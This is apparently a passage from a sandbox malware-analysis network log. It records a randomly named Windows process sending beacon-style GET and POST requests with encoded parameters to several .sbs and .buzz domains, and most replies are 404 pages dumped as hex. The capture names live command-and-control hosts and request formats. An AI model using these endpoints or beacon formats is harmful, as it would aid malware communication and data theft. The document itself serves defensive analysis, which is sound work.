ej6Le=QXpH8LlsuQ4qZh3CQ5uX7yl7nOBwHp9OVriwg04B9lO0O/CBQOZJ3MmXx1Iv9AchBoBWGDrpHK5CF+OOP0YDMx95sJbF2nlnJ0zb4iPu+DBfQZOnasTBZsPLQc5/zwbFIGZAZJE+tNcvKB8wyIfgGNTTzeEIgWfzQgGSOSov8fxSAZBk44jtqR3FSbBCcmT6iQO3Rkk0ozfKIDOxrtW4oPTtIy3/OSvAL5MzfQOSYHuMwPsYX/tufg7z4REA+TYsZRTxCB6CXC0EKOOwVQpK7bxBCe62F2xZ+dSZ1o1ASgpbTiyYITIT27dYgubpH9R8G1TNS+s8sMMzc/W7R6LHmvoAUlKV53gF/0annNIMjTxb2riPMqX2LFViDatedzzm6qRLw0JSW30SLAinylAEUqx8oSFN75CtXYuQTgw/RGFf6QBGJAGT6gmgLpAbM67X06LZgH/T+hUE3iaLDtWpunlxcrsbabgVwWoO+dmjsVGyEbYxI6nxj28J+GhpnfXSZhaB5JveeHYtVxTIeXxMHcQQEPJVYSuq6Pe3x1C/oJ+YIsRoKGogog0+E6UEKyY0jm4GzBMc2SKAO0cS1I9lTlpO7+jMTiwZln1gajDRBHi3JIr+3vrLmnTvi2ONqhVbvk8q6I4n/JWjmMjnWJjZuoPhgsUCyrPiVJD0mCzES7faVPgacGD+NQ5OPgdjHtqaAqbTm0G2w2KqpUpVmtDZJoVE7Fp51kBSvuwaOcjTscNs+bHtC3qxTMEPwhpUJWTfdH4OFZMfaDJDyd8OopcoFb4Da/PDhaA1sWZBn/hGVpqE/2k5uBKMl75/P1HgIltAdbkGFHxA+fUJluD7rXZlKqDf/EFpjizijD0L81vyKd5MCMqBx+0Huxd/hQiU/UYM0iJM6hXaFutz45eo2MC3ICQdIBA0rF0/TBYi7M2Yi+hhQVCkF0CjrNH3aEYFjPxRFtv4c7M6Gi9Kcl1kDAOdqGNhllWOz0cFW6YW3Z1ZqJuBcE [TRUNCATED]
Oct 7, 2024 12:34:33.201721907 CEST	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Mon, 07 Oct 2024 10:34:33 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 35 42 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 92 e2 4a 76 fe 7f 9f 02 97 c3 f6 4c a8 ab b5 02 a2 a6 aa 67 b4 21 09 90 90 04 02 84 c3 71 43 bb 84 56 b4 c3 84 1f c8 af e1 27 73 8a aa ea a2 e8 aa db 3d 0e ff 70 f6 8f 42 b9 9c 3c cb 77 ce c9 ce 93 bf fd f6 db e3 3f b1 4b 66 6d 28 dc 20 a8 92 f8 db 6f 8f cf 7f 06 a0 3d 06 ae e9 7c fb ed f2 33 71 2b 13 cc a8 f2 7b f7 58 87 cd d3 1d 93 a5 95 9b 56 f7 d5 29 77 ef 06 f6 f3 d7 d3 5d e5 76 15 dc 93 f8 cb c0 0e cc a2 74 ab a7 ba f2 ee c9 bb 4f e9 98 76 e0 de f7 eb 8b 2c be 22 94 66 f7 76 3f f4 e9 42 a5 30 fd c4 fc 47 56 70 5d 1e 16 6e 79 b5 04 79 47 3d 35 13 f7 e9 ae 09 dd 36 cf 8a ea 6a 5a 1b 3a 55 f0 e4 b8 4d 68 bb f7 97 8f 2f 83 30 0d ab d0 8c ef 4b db 8c dd 27 f4 eb 77 52 55 58 c5 ee 37 02 21 06 72 56 0d a6 59 9d 3a 8f f0 73 e7 b3 2a cb ea 14 bb 83 5e 6f 2f ea b2 cb f2 85 8f 5e d5 56 e6 9c 06 7f bf 4c ed 3f fb e6 01 ed dc 7b 66 12 c6 a7 87 01 55 80 6d bf 0c 04 37 6e dc 2a b4 cd 2f 83 d2 4c cb fb d2 2d 42 ef 2f 3f 2e 2b c3 b3 fb 30 40 89 bc 7b 3f [TRUNCATED] Data Ascii: 135BZJvLg!qCV's=pB<w?Kfm( o=\|3q+{XV)w]vtOv,"fv?B0GVp]nyyG=56jZ:UMh/0K'wRUX7!rVY:s^o/^VL?{fUm7n/L-B/?.+0@{?{T`+1J`,(?{~61y??1?LuwK,Dyl]XqfG}g}z@Kf]e7{._",-0A_\WXqo_Pl!.\c=$?3gE/-"!=z`@]Wh-5@yFgj]IyPN>!Io<?=nKo:;j}vV Eoqhd[\=^f&32Q#b2zcQ>2/ol?yqXV>uY]!!_u&-)o>2bi3}`dmyG;].Q>P\|}m_QmV8HrT~I*@W KYxSz125?VPtYCzug\|J
Oct 7, 2024 12:34:33.201790094 CEST	1236	IN	Data Raw: a0 04 fe 66 86 37 7e fe 96 b8 4e 68 0e fe 94 80 40 fa 62 98 f1 88 cc bb 3f df 6c 73 8b da 9b e1 5e 79 79 56 5e 32 d4 c3 a0 70 63 10 eb 9a 1b 07 ec e7 f4 11 0b f8 4f fb 30 08 42 c7 71 d3 37 96 fa d1 be 5d e5 a7 0b b2 9f fd fa fd bc 37 f6 fb 15 b7 Data Ascii: f7~Nh@b?ls^yyV^2pcO0Bq7]7}E(CI?8T^4=u/"]G}~=q<^z?4GLRb ,d^s"g^a0oeZero>z9
Oct 7, 2024 12:34:33.201807022 CEST	1236	IN	Data Raw: e1 b2 c4 27 0b 58 34 da 70 d9 69 82 ef 72 73 3b b1 24 71 62 db 82 c6 38 9d ee 1a 66 3a cd d5 99 44 eb ac 38 ed 5a d4 0e 66 21 4d 65 49 74 c6 3b 02 8f a1 b4 de f2 c9 36 88 d4 12 31 47 c6 d8 10 36 ee 78 8c 25 68 b5 8f 75 9a 0b e6 e2 24 1a a5 f5 82 Data Ascii: 'X4pirs;$qb8f:D8Zf!MeIt;61G6x%hu$#\|NpTqf76[J9^sNdK[(t&A\'a GXfSfQ*sam.!4_&;pBM=:rRy%9\[(n.ZAX-
Oct 7, 2024 12:34:33.201822996 CEST	1236	IN	Data Raw: 6d 08 e0 d4 0a dd b4 e7 e3 32 ae d7 4d c0 d2 1b 1a 33 09 f1 d4 c1 84 de 2d 8a 8e f4 b3 93 bd 45 74 ce 5f 12 27 6c 81 0b 90 1e 0f 77 22 4c 34 99 3d 2a f6 11 85 d3 79 83 a7 07 6f 05 a7 81 36 26 51 10 9a e5 51 45 2c dd 6d a7 76 75 94 fa f5 0c 5d 91 Data Ascii: m2M3-Et_'lw"L4=yo6&QQE,mvu]iR1>[$3L#$Sh=rirW:37,*27t1=fa(7k^'rAsoFT2;i\|2r.eHQb;q-neJ'q
Oct 7, 2024 12:34:33.201843023 CEST	288	IN	Data Raw: 04 af 63 9e 5d ee ed c2 f9 6e 00 ff 84 fc 95 50 d7 57 cc 9f c8 72 cd fe a7 c0 fd 0c 54 7f 7a 41 d5 9f 3f d5 c6 45 e0 f7 b6 bc de f1 79 f8 8f 34 06 d4 f9 4e 09 cf aa ba fb f6 08 7f b6 ea 11 fe c8 3c 37 80 fa 80 af ab 08 f1 ca e2 e3 73 65 ef bd c2 Data Ascii: c]nPWrTzA?Ey4N<7se]?z{ZWeV}N@gHP;$7AJNYW`w$wH\|*_bj`2ZweCfovM3pKuJAhpM=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50009	162.0.215.33	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:34:35.156199932 CEST	513	OUT	GET /odii/?ej6Le=dVBn/8h3nxQ+NW3HHa2Dil9IxOpuSbZnLfq0vBwwz2PjK6Osa+4r5Mmz4BUq4xUHF4JCazXFRId1LoC3dnRZfR9dh4rO42NOGnzVyjLt/mUqEpvHWr7qJMesP485wi7mHEQ5T/k=&An=mLdxo2Y8RLRh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Host: www.nieuws-july202541.sbs Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Oct 7, 2024 12:34:35.712127924 CEST	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked date: Mon, 07 Oct 2024 10:34:35 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 32 37 38 44 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 [TRUNCATED] Data Ascii: 278D<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>404 Not Found</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; [TRUNCATED]
Oct 7, 2024 12:34:35.712145090 CEST	1236	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 Data Ascii: } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-rep
Oct 7, 2024 12:34:35.712153912 CEST	448	IN	Data Raw: 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: -image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address {
Oct 7, 2024 12:34:35.712271929 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 70 79 72 69 67 68 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b 0a 20 Data Ascii: border: 0; } .copyright { font-size: 10px; color: #3F4143; } @media (min-width: 768px) { .additional-info { position: relative; overf
Oct 7, 2024 12:34:35.712282896 CEST	1236	IN	Data Raw: 69 6e 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 39 39 32 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 61 Data Ascii: inline; } } @media (min-width: 992px) { .additional-info { background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPAAAADqCAMAAACrxjhdAAAAt1BMVEUAAAAAAAD/////////////////////
Oct 7, 2024 12:34:35.712292910 CEST	1236	IN	Data Raw: 70 63 61 46 74 57 34 48 38 69 49 30 67 42 32 4d 7a 66 45 63 56 33 67 42 2b 49 6b 66 44 74 62 79 43 41 54 67 74 48 42 37 6c 33 54 72 4b 55 47 32 79 57 4f 65 37 4f 32 4b 59 51 49 50 45 37 78 46 44 31 32 59 76 79 36 53 76 71 6f 4c 4f 4d 66 39 35 6b Data Ascii: pcaFtW4H8iI0gB2MzfEcV3gB+IkfDtbyCATgtHB7l3TrKUG2yWOe7O2KYQIPE7xFD12Yvy6SvqoLOMf95k+BvgqogCFCx22NdltO1epYc7ycEKSaI9+UAYPGOlKDQYyxDP9Npqv0NKZkS7GuNRQig5pvaYQwdTztjRnCrr/l0b2UgO+wRtMiFCAzqpLL0So+hWmi61Nn3aqKGEzDfFrmEoKqcWSFDRONSrAU0iFYLrHU2RKB3q+
Oct 7, 2024 12:34:35.712301970 CEST	1236	IN	Data Raw: 4f 4b 4a 75 39 38 56 30 30 36 4c 62 53 49 6b 76 42 73 52 6c 7a 42 50 59 6b 49 52 49 48 31 37 34 33 69 45 69 65 6c 42 54 34 69 51 52 6b 4e 48 77 55 51 4d 55 74 54 57 58 71 73 69 51 75 67 42 69 77 6c 37 33 4f 4f 72 56 30 52 49 71 2f 36 2b 42 49 50 Data Ascii: OKJu98V006LbSIkvBsRlzBPYkIRIH1743iEielBT4iQRkNHwUQMUtTWXqsiQugBiwl73OOrV0RIq/6+BIPPVVLrbAVAulQKIwAO/9jUKyJk51SmO5wwhpHXac0E3EQEfRIu6TfBYLQn/J3eCcFdE7i4dwmHckWErJsmU7eIsGnLxpVpVETI4kVM3VCUw1+XdRPRaM0k64jL1LEFkBBGRw7ad1ZE+AVH74Xh8NQM/dZMxVKDkPCy
Oct 7, 2024 12:34:35.712660074 CEST	1236	IN	Data Raw: 30 66 58 32 77 65 53 38 38 58 37 58 36 68 58 52 44 44 52 7a 64 77 48 5a 2f 35 44 32 68 6a 6a 67 68 74 33 4d 62 35 79 31 4e 49 4e 71 2b 62 65 5a 42 75 38 64 38 34 36 35 37 77 50 59 66 4e 38 70 5a 42 63 30 67 2b 4a 4b 69 4b 59 69 4e 72 39 72 34 76 Data Ascii: 0fX2weS88X7X6hXRDDRzdwHZ/5D2hjjght3Mb5y1NINq+beZBu8d84657wPYfN8pZBc0g+JKiKYiNr9r4v1Zrvdbtazp16TSCOfZppMiGD6iVqr271oVokU6AJ9U5FGnXIww5mH+kLEhxI1cl20QCGCTgRMA/3+F2lRXXtzXhURPTTt9GQA6h+d/1dE5An9GRH5o5mwIgKHvhCBi5j60Bci8oe+EKEPrYmg+QNNOw3PdCLgpBUR
Oct 7, 2024 12:34:35.712668896 CEST	1236	IN	Data Raw: 45 44 54 22 3e 20 57 65 62 4d 61 73 74 65 72 3c 2f 61 3e 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 72 65 61 73 6f 6e 2d 74 65 78 74 22 3e 54 68 Data Ascii: EDT"> WebMaster</a>. </section> <p class="reason-text">The server cannot find the requested page:</p> </div> <section class="additional-info"> <div class="container"> <div cl
Oct 7, 2024 12:34:35.712677002 CEST	19	IN	Data Raw: 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: dy></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50010	161.97.168.245	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:34:40.966978073 CEST	769	OUT	POST /epk2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.acuarelacr.buzz Origin: http://www.acuarelacr.buzz Connection: close Content-Length: 210 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.acuarelacr.buzz/epk2/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 30 6a 36 70 6f 47 51 34 62 49 71 72 74 71 33 33 6f 79 43 6d 53 74 57 2f 6d 70 38 32 2b 74 32 59 4a 36 63 6c 69 64 6b 48 70 43 71 49 73 78 37 65 72 48 41 34 39 69 6b 65 35 75 5a 2f 4c 6d 76 62 34 48 2b 5a 47 4a 6e 2b 50 39 42 56 46 43 64 53 58 6c 65 48 47 4a 61 57 4c 48 48 55 4a 6d 6f 67 64 52 68 2f 66 6c 6a 37 72 66 79 46 73 6b 44 58 45 49 37 38 55 57 55 75 67 4b 47 70 31 74 6a 70 48 35 35 52 44 50 69 51 57 62 49 2f 43 38 65 6f 49 55 4c 71 34 71 50 33 6d 42 62 6b 4b 72 62 61 4a 65 36 70 68 38 73 67 32 2f 79 4a 4d 71 4f 51 53 52 44 4b 47 47 36 2b 70 2f 35 77 41 43 38 45 53 65 78 44 4f 67 32 61 35 39 74 31 Data Ascii: ej6Le=0j6poGQ4bIqrtq33oyCmStW/mp82+t2YJ6clidkHpCqIsx7erHA49ike5uZ/Lmvb4H+ZGJn+P9BVFCdSXleHGJaWLHHUJmogdRh/flj7rfyFskDXEI78UWUugKGp1tjpH55RDPiQWbI/C8eoIULq4qP3mBbkKrbaJe6ph8sg2/yJMqOQSRDKGG6+p/5wAC8ESexDOg2a59t1
Oct 7, 2024 12:34:41.558974981 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 07 Oct 2024 10:34:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cd104a-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Oct 7, 2024 12:34:41.559026957 CEST	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50011	161.97.168.245	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:34:43.512648106 CEST	793	OUT	POST /epk2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.acuarelacr.buzz Origin: http://www.acuarelacr.buzz Connection: close Content-Length: 234 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.acuarelacr.buzz/epk2/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 30 6a 36 70 6f 47 51 34 62 49 71 72 74 4b 48 33 72 56 65 6d 44 64 57 38 6a 70 38 32 30 4e 32 63 4a 36 51 6c 69 63 52 41 70 77 4f 49 73 55 66 65 71 46 6b 34 77 43 6b 65 79 4f 5a 36 57 57 76 51 34 48 79 72 47 4d 48 2b 50 39 56 56 46 44 74 53 58 55 65 45 47 5a 61 55 44 6e 48 57 47 47 6f 67 64 52 68 2f 66 6c 33 42 72 66 71 46 76 56 54 58 46 70 37 6a 4b 47 55 76 6c 4b 47 70 78 74 6a 6c 48 35 35 7a 44 4f 76 31 57 5a 41 2f 43 38 75 6f 4c 41 66 6c 6a 36 50 31 72 68 61 4a 45 61 71 6d 4c 6f 6e 72 6c 71 6b 54 76 74 4b 74 45 38 50 4b 4f 69 44 70 55 57 61 38 70 39 68 43 41 69 38 75 51 65 4a 44 63 33 36 39 32 4a 49 57 73 42 6d 57 4a 43 49 34 35 36 6c 61 6f 57 48 62 30 6f 79 47 36 51 3d 3d Data Ascii: ej6Le=0j6poGQ4bIqrtKH3rVemDdW8jp820N2cJ6QlicRApwOIsUfeqFk4wCkeyOZ6WWvQ4HyrGMH+P9VVFDtSXUeEGZaUDnHWGGogdRh/fl3BrfqFvVTXFp7jKGUvlKGpxtjlH55zDOv1WZA/C8uoLAflj6P1rhaJEaqmLonrlqkTvtKtE8PKOiDpUWa8p9hCAi8uQeJDc3692JIWsBmWJCI456laoWHb0oyG6Q==
Oct 7, 2024 12:34:44.112163067 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 07 Oct 2024 10:34:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cd104a-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Oct 7, 2024 12:34:44.112292051 CEST	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50012	161.97.168.245	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:34:46.057806015 CEST	1806	OUT	POST /epk2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.acuarelacr.buzz Origin: http://www.acuarelacr.buzz Connection: close Content-Length: 1246 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.acuarelacr.buzz/epk2/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 30 6a 36 70 6f 47 51 34 62 49 71 72 74 4b 48 33 72 56 65 6d 44 64 57 38 6a 70 38 32 30 4e 32 63 4a 36 51 6c 69 63 52 41 70 77 47 49 73 43 54 65 71 6b 6b 34 78 43 6b 65 78 4f 5a 37 57 57 76 42 34 48 62 67 47 4d 44 45 50 2f 74 56 46 67 31 53 56 67 71 45 54 70 61 55 42 6e 48 56 4a 6d 70 30 64 52 78 37 66 6d 50 42 72 66 71 46 76 58 37 58 43 34 37 6a 49 47 55 75 67 4b 47 6c 31 74 6a 42 48 35 68 4a 44 4f 72 50 56 71 34 2f 44 59 43 6f 